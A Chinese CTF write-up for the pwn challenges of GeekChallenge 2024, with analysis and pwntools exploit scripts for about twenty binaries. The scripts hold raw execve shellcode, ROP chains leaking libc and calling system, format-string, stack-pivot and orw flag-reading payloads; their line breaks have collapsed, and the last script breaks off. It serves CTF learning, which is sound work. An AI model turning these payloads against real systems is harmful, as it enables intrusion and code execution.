当前位置: 首页 > news >正文

网站后台模板制作流程/whois查询 站长工具

网站后台模板制作流程,whois查询 站长工具,公司可以做网站,手机网站开发ibanghu.comGeekChallenge 2024 第十五届极客大挑战 pwn AK 🍀前言☘️ez_shellcode(shellcode,栈溢出)🌿分析🌿解题🌿exp ☘️买黑吗喽了吗(整数溢出,栈溢出)&#x1f3…

GeekChallenge 2024 第十五届极客大挑战 pwn AK

  • 🍀前言
  • ☘️ez_shellcode(shellcode,栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️买黑吗喽了吗(整数溢出,栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️简单的签到(随机数)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️00000(随机数)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️你会栈溢出吗(栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️over_flow??(栈溢出,syscall)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️这里的空间有点小啊(栈迁移)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️Black_Myth_Wukong(格式化字符串,栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️su~~~~(栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️我的空调呢(不正确的数组索引)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️真能走到后门吗(格式化字符串,栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️FindG????t(RAP)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️orz?orw!(栈溢出,orw)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️ez_fmt(栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️stack_overflow(栈溢出,canary绕过)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️学校的烂电梯plus(栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️WhoIsAdmin(AES加密,整数溢出,栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️struct_one_byte(越界修改)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️hard_orw(orw)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️学校的烂电梯pro(栈溢出)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️stdout(栈溢出,缓冲机制)
    • 🌿分析
    • 🌿解题
    • 🌿exp
  • ☘️ez_srop(SBROP)
    • 🌿分析
    • 🌿解题
    • 🌿exp

题目链接:
百度网盘(提取码yxxx)

🍀前言

本来是没打这个比赛,被鱼神喊来炸鱼,解了一道题(struct_one_byte),尝到炸鱼的甜头了,就全炸了,属于是炸爽了。新生赛题目难度还是蛮友好的,最难绷的题是FindG???t和ez_srop,其他题目比较容易就随便讲讲

应该是最后一次认真打新生赛了,难度太低了,很多时候是浪费时间

在这里插入图片描述

☘️ez_shellcode(shellcode,栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看。往bss上写数据。然后是gets,gets不开pie和canary的话直接就能getshell
在这里插入图片描述
有个后门,提权后直接执行刚刚写入的shellcode

🌿解题

在这里插入图片描述

先写入shellcode,再覆盖ret为后门函数即可

🌿exp

from pwn import *filename = './shellcode'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 13326)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)io.send(b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05')io.sendline(b'A' * 0x18 + b'A' * 8 + p64(0x401256))io.interactive()

☘️买黑吗喽了吗(整数溢出,栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看。开始给了0x100块
在这里插入图片描述
shop函数中可以买东西,使钱减少,减成负数就是大正数
在这里插入图片描述
view函数中,如果钱够大,就可以read一下,str1存了格式化字符串参数%x,改成%p就可以泄露程序基地址
在这里插入图片描述
栈溢出,有了基地址就可以rop

🌿解题

在这里插入图片描述
先把钱减成负数,变成大正数
在这里插入图片描述
随后去2泄露
在这里插入图片描述
再去3完成rop

🌿exp

from pwn import *filename = './syscall'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 30701)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)libc = ELF('./libc.so.6')for i in range(9):io.sendline('1')sleep(0.1)io.sendline('1')sleep(0.1)io.sendline('1')
sleep(0.1)
io.sendline('2')
sleep(0.1)io.sendline('2')
sleep(0.1)
io.send('%p')io.recvuntil('0x0x')
base = int(io.recv(12), 16) - 0x4090
success('base =>> ' + hex(base))
rdi = base + 0x11f1
rsi = base + 0x11f3
ret = base + 0x101a
puts_plt = base + elf.plt['puts']
puts_got = base + elf.got['puts']io.sendline('3')
io.send(b'A' * 0x50 + b'A' * 8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(base + 0x14BC))io.recvuntil('better!\n')libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x84420
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()io.send(b'A' * 0x50 + b'A' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))io.interactive()

☘️简单的签到(随机数)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看在这里插入图片描述
随机数,然后还告诉你了。输入正确就getshell
在这里插入图片描述
有个时间限制,计算时间不能超过3秒,影响不大。可以用python的ctypes模块调用c函数,但是似乎有问题,还是用他给的数吧

🌿解题

在这里插入图片描述
接收一下他给的数,然后送过去就好了

🌿exp

from pwn import *filename = './main'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 22910)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)io.recv()
io.send('\n')a = int(io.recvuntil(' * ', drop = True))
b = int(io.recvuntil(' =', drop = True))io.sendline(str(a * b))io.interactive()

☘️00000(随机数)

🌿分析

在这里插入图片描述
checksec查看。保护全开
在这里插入图片描述
IDA查看。猜密码,如果密码正确就输出flag
在这里插入图片描述
从libc随机库中抽了个128位随机数,显然不可能破解。程序利用strcmp比较,遇\0停止,所以有1/256的几率成功,密码输入\0就可以了,当随机数第一位也为\0的时候,比较成功

🌿解题

在这里插入图片描述
写一个爆破的脚本就好

🌿exp

from pwn import *filename = './main'
'''
debug = 0
if debug:io = remote('nc1.ctfplus.cn', 27912)
else:io = process(filename)
'''
elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)for i in range(256):io = process(filename)try:io.sendline('\x00')io.recvuntil('{', timeout = 0.3)io.interactive()except:continuefinally:io.close()

☘️你会栈溢出吗(栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
栈溢出,没开pie和canary也可以不给后门
在这里插入图片描述
有个后门,直接溢出就好了

🌿解题

在这里插入图片描述
覆盖ret地址

🌿exp

from pwn import *filename = './stackover'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 25115)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)io.sendline(b'A' * 0xC + b'A' * 8 + p64(0x400729))io.interactive()

☘️over_flow??(栈溢出,syscall)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
save函数查看,可以输入要save的文件的名字,服务器会创建一个文件然后将你要save的内容写进文件。禁止文件名为flag。这里存在栈溢出,但是开了canary所以没用
在这里插入图片描述
ow函数是用汇编写的
在这里插入图片描述
open前mov rsi, 0x41有点迷惑,后面觉得可能是不让在这里execve。可以看到读入了0x100字节
在这里插入图片描述
read就是将save的文件内容读取到v2变量中,只能读0x100字节,也不存在溢出。但是在读filename的时候溢出了一字节
在这里插入图片描述
这一字节刚好能改到下方的open的系统调用号,就可以控制程序执行任意系统调用
在这里插入图片描述
再看一下or的汇编,将open改为自己想要的系统调用号后,接着会执行该系统调用,参数是(filename, 0, 0),filaname可控,显然是要执行execve(‘/bin/sh’, 0, 0)

🌿解题

在这里插入图片描述
将filename写成’/bin/sh\x00’,系统调用号改为0x3b即可。这题本地24.04不能执行,有点迷惑

🌿exp

from pwn import *io = remote('nc1.ctfplus.cn', 43640)context(log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)io.sendline('2')
sleep(0.1)
io.send(b'/bin/sh\x00' + b'\x3b')io.interactive()

☘️这里的空间有点小啊(栈迁移)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
刚好溢出0x10字节,栈溢出到bss段上rop就好了

🌿解题

在这里插入图片描述
控制rbp为bss,ret为read

程序触发第一次leave时(mov rsp, rbp; pop rbp),rbp变为bss,rsp变为之前的rbp(一个栈地址)
在这里插入图片描述
随后程序执行完read后,第二次leave,rbp变为bss - 0x30,rsp变为bss + 8,也就是上图ret的位置,这里的ret是leave_ret。会接着执行第三次leave,rbp变为bss + 0x100,rsp变为bss - 0x28,也就是上图rdi的位置,程序继续执行rop,泄露了libc。再接一个read
在这里插入图片描述
再重复这个操作,rop成功

🌿exp

from pwn import *filename = './main'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 17608)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)libc = ELF('./libc.so.6')bss = 0x601530
read = 0x40071C
ret = 0x400738
rdi = 0x400853
ret_ = 0x400566
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']io.sendlineafter('>>\n', '1')io.sendafter('something\n', b'A' * 0x30 + p64(bss) + p64(read))io.send(p64(bss + 0x100) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(read) + b'/bin/sh\x00' + p64(bss - 0x30) + p64(ret))libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x80970
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = bss - 0x30 + 0x28io.send(p64(bss + 0x50) + p64(ret_) + p64(rdi) + p64(bin_sh) + p64(sys) + p64(0) + p64(bss + 0x100 - 0x30) + p64(ret))io.interactive()

☘️Black_Myth_Wukong(格式化字符串,栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
有一次栈上任意地址泄露的机会,可以泄露libc
在这里插入图片描述
输入v2的值,不能超过0x100
在这里插入图片描述
会输入进这个v2
在这里插入图片描述
这里存在off_by_null,使得rbp末字节归0,随后经过一次ret后,第二次ret的地址就可以控,控成one_gadget即可

🌿解题

在这里插入图片描述
先泄露libc
在这里插入图片描述
再将栈上全覆盖为one_gadget,因为栈会有偏移,不能精准控制,只能控制一大片,而这一大片刚好是256个字节也就是0xFF,所以这题不太需要爆破
在这里插入图片描述

观察发现此时的rbp末尾已经归0,随后rsp会先变为0x7fffd234a880,再变为0x7fffd234a9a0,最后变为0x7fffd234a900
在这里插入图片描述
从图中可以看到0x7fffd234a900的附近位置,都被控制为了one_gadget
在这里插入图片描述
最后执行了one_gadget

🌿exp

from pwn import *filename = './main'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 29878)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)libc = ELF('./libc.so.6')io.send('\n')
sleep(0.1)
io.sendline('19')
sleep(0.1)io.recvuntil('it: ')
libcbase = int(io.recv(12), 16) - 0x80b12
success('libcbase =>> ' + hex(libcbase))
one_gadget = libcbase + 0x4f29eio.sendline('256')
sleep(0.1)
io.send(p64(one_gadget) * 2 * 0x10)io.interactive()

☘️su~~~~(栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
栈溢出,标准rop就行了

🌿解题

在这里插入图片描述
泄露libc
在这里插入图片描述
拿shell

🌿exp

from pwn import *filename = './csu'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 35349)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)libc = ELF('./libc.so.6')io.sendline('1')rdi = 0x400903
ret = 0x4005d6
read = 0x400798
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']io.send(b'A' * 0x80 + b'A' * 0x8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(read))io.recvuntil('exit.\n')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x80970
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()io.send(b'A' * 0x80 + b'A' * 0x8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))io.interactive()

☘️我的空调呢(不正确的数组索引)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看。这代码写得有点离谱的
在这里插入图片描述
add函数,可以往bss段上写一些数据
在这里插入图片描述
view函数,可以打印一些数据
在这里插入图片描述
delete函数,删除数据
在这里插入图片描述
edit函数,这里v1是int类型,可以是负数,这样可以越界修改数据,只要那个地方有值就能改
在这里插入图片描述
fun函数有一次任意地址泄露的机会,没开pie就直接泄露bss上的IO指针

🌿解题

在这里插入图片描述
先用5泄露一下libc
在这里插入图片描述
再用edit把bss开头的got表改一下,printf的保持不变,因为改这个待会还要输出,会报错,将memset的改为sys地址,在delete调用memset的时候,如果此时student里写了‘/bin/sh’,那么就可以getshell
在这里插入图片描述
写一下’/bin/sh’,然后调用delete就可以了

🌿exp

from pwn import *filename = './pwn'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 18839)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)libc = ELF('./libc.so.6')io.sendlineafter('chioce>:', '5')
io.sendline('0x404018')io.recvuntil('massege:')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - libc.sym['puts']
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
printf = libcbase + libc.sym['printf']io.sendlineafter('chioce>:', '4')
io.sendline('-4')io.send(b'A' * 0x8 + p64(printf) + p64(sys))io.sendlineafter('chioce>:', '1')
io.sendafter('name:\n', '/bin/sh\x00')
io.sendafter('Introduce:\n', 'A')io.sendlineafter('chioce>:', '3')
io.sendline('0')io.interactive()

☘️真能走到后门吗(格式化字符串,栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA分析
在这里插入图片描述
有一次格式化字符串漏洞,可以泄露canary和栈地址
在这里插入图片描述
read里面有差一错误,溢出一字节,可以改ret的末一位字节
在这里插入图片描述
由于vuln是通过main调用的,所以返回地址就是接下来的0x4013F1,改成0x4013EC就可以重新调用vuln函数,实现无限printf,就可以任意地址改
在这里插入图片描述
有个后门函数,将返回地址改为这里就可以了,由于相较比较近,改末两个字节就可以,由于末一字节能通过溢出修改,所以只要改末第二个字节

🌿解题

在这里插入图片描述
先泄露canary和栈地址
在这里插入图片描述
在这里插入图片描述
然后改返回地址末位为0xEC,重新调用
在这里插入图片描述
利用格式化字符串改末第二位,溢出改末位就可以了

🌿exp

from pwn import *filename = './fmt'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 22626)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)io.send('A')
sleep(0.1)
io.send('%13$p%14$p')
sleep(0.1)
io.recvuntil('0x')
canary = int(io.recv(16), 16)
success('canary =>> ' + hex(canary))io.recvuntil('0x')
rbp = int(io.recv(12), 16)
success('rbp =>> ' + hex(rbp))
ret = rbp - 0x18io.send(p64(ret + 1) + b'A' * 0x30 + p64(canary) + p64(rbp)+ b'\xEC')
sleep(0.1)io.send(b'%18c%6$hhn')
sleep(0.1)
io.send(b'A' * 0x38 + p64(canary) + p64(rbp)+ b'\x82')io.interactive()

☘️FindG???t(RAP)

《最颠沛流离的一集》《到底是怎样的flag才配得上这一路的颠沛流离》

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看。读入了0x30字节在栈上,然后输个index,意思是能任意改栈上内容的一字节。后面又改了一次index,return index
在这里插入图片描述
这里显然是syscall,显然作者是想要改返回地址的末字节,但是作者没有考虑到不同环境下,那个地址会不同,我用的是24.04的虚拟机,刚好和作者一样。其他版本会有一定差距,因此这是这个题出得不好的地方。

所以我没有考虑syscall

能修改栈上的字节可以做什么呢,S7强网杯已经给出了答案,可以修改read的返回地址
在这里插入图片描述
read在调用开始时会push 0x40111F进栈作为返回地址,随后进行read的操作,那么获取了栈地址,就可以将修改的地方设定为read的返回地址末一字节,将0x40111F改为0x401158,就可以直接ret,而这时候rsp指向的刚好是之前写在栈上的0x30个字节。如果改为0x401154或者55,56的话,就可以控制rbx,rbp,r12这三个寄存器,我控制了挺久,期间跳到了bss段上写数据,但是最后失败了,还是换了个方法。

接下来只控制跳到0x401158

期望是泄露libc,泄露libc需要控制puts的参数rdi
在这里插入图片描述
rdi只有这里能控,要控制rdi就要控制rsp
在这里插入图片描述
而要想有效控制rsp,只有这里能控制

利用栈风水手法:栈降低。先留下一些rop数据,再通过ret直接降低栈,跳过升栈的0x40,然后程序正常执行,执行到mov rdi, rsp后,rdi被赋值为了一个栈上的值,这个值可能是:普通数,栈地址,libc地址,程序地址。需要看栈的上面来确定。随后栈升高0x40,来到之前准备的rop处,完成puts泄露libc地址,再ret回去继续rop

🌿解题

在这里插入图片描述
先是第一个ret,0x4010C7是即将要ret的地方,也就是push rbx然后再降栈的地方,为什么不直接降栈而是push一下,是因为需要栈对齐,要不然等会scanf函数会调用失败

随后栈降低,再进行调用read
在这里插入图片描述
接下来ret到mov rdi, rsp处,控制玩rdi后降栈,执行pop rbx rbp r12,为了后面程序正常执行,这里都恢复的原值,在上上个图中的send中,rbx为0,rbp为0x40200E,r12为0x4040BC,随后调用puts_plt泄露地址,然后是重新开始
在这里插入图片描述
在read刚开始时,往栈上push了返回地址,下面的是之前read 0x30的时候写的数据
在这里插入图片描述
将返回地址末位改为0x58,就来到了ret,然后直接rop
在这里插入图片描述
第二次read,只往栈上写一个数据
在这里插入图片描述
随后再次read改自己返回地址,直接ret,改rdi为rsp
在这里插入图片描述
此时rsp值为这个,等会puts的参数就是这个,会puts这里的数据
在这里插入图片描述
随后是抬高栈,然后pop三下,把之前留的数据拿走,再ret到之前留的plt上
在这里插入图片描述
在调用puts函数时,在真正puts之前,会先将栈进行如上赋值,调用之前rsp是0x7ffc332655e8,我这里重启了一下程序,地址和上面不同。看到将rsp - 0x60的地址改为了libc的地址,这里刚好是之前rdi参数的地址,所以等会puts的时候会将这里的值泄露,就拿到了libc
在这里插入图片描述
泄露完后程序照旧执行,还是用之前第一次read留的ret地址
在这里插入图片描述
照旧再来一遍,有libc了就直接控rdi了,基本rop就可以了

🌿exp

from pwn import *filename = './pwn'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 45331)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)libc = ELF('./libc.so.6')puts_plt = elf.plt['puts']
io.send(p64(0x4010C7) + p64(0) + p64(0x40200E) + p64(0x40408C) + p64(puts_plt) + p64(0x4010D1))
sleep(0.1)
io.sendline('-8')
sleep(0.1)
io.send('\x58')
sleep(0.1)io.send(p64(0x401147))
sleep(0.1)
io.sendline('-8')
sleep(0.1)
io.recv()
io.send('\x58')
sleep(0.1)libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x202030
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()
rdi = libcbase + 0x10f75bio.send(p64(rdi) + p64(bin_sh) + p64(sys))
sleep(0.1)
io.sendline('-8')
sleep(0.1)
io.send('\x58')
sleep(0.1)io.interactive()

☘️orz?orw!(栈溢出,orw)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看。输入v5的值,小于等于4就好,由于是unsigned不能是负数。输入buf可以溢出,有canary,用这个泄露canary,然后需要改v5的值,v5最高比特位要为0才是正数,不然read失败。用第二个read栈溢出就好了
在这里插入图片描述
沙箱禁了execve,影响不大
在这里插入图片描述
有个后门函数,栈是可执行的,所以直接往栈上写shellcode就行了

🌿解题

在这里插入图片描述
控制v5的值,泄露canary
在这里插入图片描述
跳转到后面函数,再到栈上,正常orw就可以

🌿exp

from pwn import *filename = './orw'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 14920)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)io.sendline('1')io.send(b'A' + b'111\x01' + b'A' * 5)io.recvuntil('AAAAA')
canary = u64(io.recv(7).rjust(8, b'\0'))
success('canary =>> ' + hex(canary))io.send(b'A' * 4 + p64(canary) + b'A' * 8 + p64(0x4012A7) + asm(shellcraft.open('./flag', 0) + shellcraft.read(3, 0x404500, 0x100) + shellcraft.write(1, 0x404500, 0x100)))io.interactive()

☘️ez_fmt(栈溢出)

🌿分析

在这里插入图片描述
checksec查看。保护全开
在这里插入图片描述
IDA查看
在这里插入图片描述
给了两次泄露的机会,有canary优先泄露canary,然后再泄露个libc
在这里插入图片描述
然后是scanf有问题
在这里插入图片描述
观察到rdi是buf,就是可以控制scanf的第一个参数,控制为%s,就相当于gets,直接栈溢出基本rop就可以了

🌿解题

在这里插入图片描述
泄露canary和libc
在这里插入图片描述
改参数,基本rop

🌿exp

from pwn import *filename = './pwn'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 18155)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)libc = ELF('./libc.so.6')io.recv()
io.sendline('9')
canary = u64(io.recv(7).rjust(8, b'\0'))
success('canary =>> ' + hex(canary))
sleep(0.1)io.recv()
io.sendline('38')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x24083
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()
rdi = libcbase + 0x23b6a
ret = libcbase + 0x22679io.send(b'A' * 0x10 + b'%s')
sleep(0.1)
io.sendline(b'A' * 0x38 + p64(canary) + b'A' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))io.interactive()

☘️stack_overflow(栈溢出,canary绕过)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看。开始给了fs的地址,fs:0x28的位置就是canary。给了一次任意地址改的机会,那个if检测是检测了末字节,末字节不能为8或0

可以改7个字节,显然是改canary,随后就可以正常栈溢出rop

🌿解题

在这里插入图片描述
将canary改为0
在这里插入图片描述
基本rop,泄露libc再sys

🌿exp

from pwn import *filename = './pwn'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 42500)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)libc = ELF('./libc.so.6')puts_plt = elf.plt['puts']
puts_got = elf.got['puts']rdi_rcx = 0x40123fio.recvuntil('gift:')
fs = u64(io.recv(6).ljust(8, b'\0'))
success('fs =>> ' + hex(fs))io.send(p64(fs + 0x29))
sleep(0.1)
io.send(b'\x00' * 7)
sleep(0.1)io.send(b'A' * 0x18 + p64(0) * 2 + p64(rdi_rcx) + p64(puts_got) + p64(0) + p64(puts_plt) + p64(0x401247))
io.recvuntil('buf:')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x80e50
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()io.send(p64(fs + 0x29))
sleep(0.1)
io.send(b'\x00' * 7)
sleep(0.1)
io.send(b'A' * 0x18 + p64(0) * 2 + p64(rdi_rcx) + p64(bin_sh) + p64(0) + p64(sys))io.interactive()

☘️学校的烂电梯plus(栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
输入v1的值,赋给data,data后面也没找到用的地方,看汇编
在这里插入图片描述
将栈减少了data的值

ask_phone函数没用,是给后面的pro准备的

将栈抬高,就可以改到ret地址了,直接基本rop。原理和FindG???t一样,在read真正调用前push了自己的返回地址,然后read数据后,返回地址发生改变

🌿解题

在这里插入图片描述
将栈抬高4个字长
在这里插入图片描述
基本rop,先libc再sys

🌿exp

from pwn import *filename = './pwn'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 14982)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)libc = ELF('./libc.so.6')puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x40127f
ret = 0x40101aio.sendline('-4')io.sendline('1')
io.send(b'A' * 8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x401303))io.recvuntil('man!!\n')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x80e50
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()io.sendline('-4')
io.sendline('1')
io.send(b'A' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))io.interactive()

☘️WhoIsAdmin(AES加密,整数溢出,栈溢出)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
AES加密,给了特征码
在这里插入图片描述
买东西,开始输入一下答案,口算一下就知道了,是1640。v2输入个负数,后面*-100,就成正数了,money就可以很大
在这里插入图片描述
然后就可以buy了
在这里插入图片描述
验证加密,最后结果是AdminAdminAdminA就通过

这个加密过程是这样的:
BinaryCryptoYYDS→BinaryCryptoYYDS的user_key + code→BinaryCryptoYYDS的特征码

要想得到AdminAdminAdminA的话,需要:
BinaryCryptoYYDS的特征码→BinaryCryptoYYDS的user_key + code→AdminAdminAdminA的user_key + code→AdminAdminAdminA的特征码

也就是“BinaryCryptoYYDS”原始数据,“AdminAdminAdminA”目标数据,特征码
在这里插入图片描述
两个都成功后,进入这里,栈溢出基本rop即可

🌿解题

在这里插入图片描述
直接套板子就可以
在这里插入图片描述
买sys
在这里插入图片描述
基本rop,先libc再sys

🌿exp

from pwn import *filename = './whoisadmin'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 21395)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)def strxor(a1, a2): return bytes([b1 ^ b2 for b1,b2 in zip(a1,a2)])io.sendline('1')
io.recvuntil('authcode: ')authcode = io.recv(64).decode()
user_key = bytes.fromhex(authcode)[:16]
code = bytes.fromhex(authcode)[16:]
user_key=strxor(user_key,b'AdminAdminAdminA')
user_key=strxor(user_key,b'BinaryCryptoYYDS')
authcode=user_key.hex()+code.hex()
success('authcode =>> ' + str(authcode))io.sendline('7')
io.sendline(str(authcode))io.sendline('4')
io.sendline('1640')
io.sendline('-500')
io.sendline('6')io.sendline('8')puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x402db3
ret = 0x40101aio.sendline(b'A' * 0x20 + b'A' * 8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x402B0F))libc = ELF('./libc-2.31.so')
io.recvuntil('name: ')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x84420
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()io.sendline(b'A' * 0x20 + b'A' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))io.interactive()

☘️struct_one_byte(越界修改)

这题出的比较差,不需要溢出一字节,直接非预期了

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
gift泄露了libc
在这里插入图片描述
add函数,先是选择tacher还是student,都一样。然后是赋值一些数据,IDA里看的比较乱我没看,直接gdb看就好。v9赋值的时候溢出了1字节,没用
在这里插入图片描述
work函数中,如果有值,就执行一下
在这里插入图片描述
执行的函数是这个,参数是name和info

将这个函数的地址改为system,第一个参数输‘/bin/sh’就可以getshell了
在这里插入图片描述
edit函数,正常的edit
在这里插入图片描述
有个后门,没这个也能做

🌿解题

在这里插入图片描述
先add一个看看结构
在这里插入图片描述
在这里插入图片描述
这里打印一下,就可以泄露base地址
在这里插入图片描述
再加一个
在这里插入图片描述
直接将name最大字段赋值为了0x40,没有利用一字节溢出
在这里插入图片描述
随后将执行函数改为sys的后门就可以了,也不用控制参数

🌿exp

from pwn import *filename = './struct'debug = 0
if debug:io = remote('nc1.ctfplus.cn', 23165)
else:io = process(filename)elf = ELF(filename)context(arch = elf.arch, log_level = 'debug', os = 'linux')def dbg():gdb.attach(io)def add(index, name, info):io.sendlineafter('change player info: \n', '1')io.sendlineafter('Index:\n', str(index))io.sendlineafter('students\n> \n', '1')io.sendafter('name :\n', name)io.sendafter('info :\n', info)def show(index):io.sendlineafter('change player info: \n', '2')io.sendlineafter('index:\n', str(index))def edit(index, name):io.sendlineafter('change player info: \n', '3')io.sendlineafter('index:\n', str(index))io.sendafter('name :\n', name)add(1, 'AAAA', 'B' * 0x10)show(1)
io.recvuntil('B' * 0x10)base = u64(io.recv(6).ljust(8, b'\0')) - 0x2190
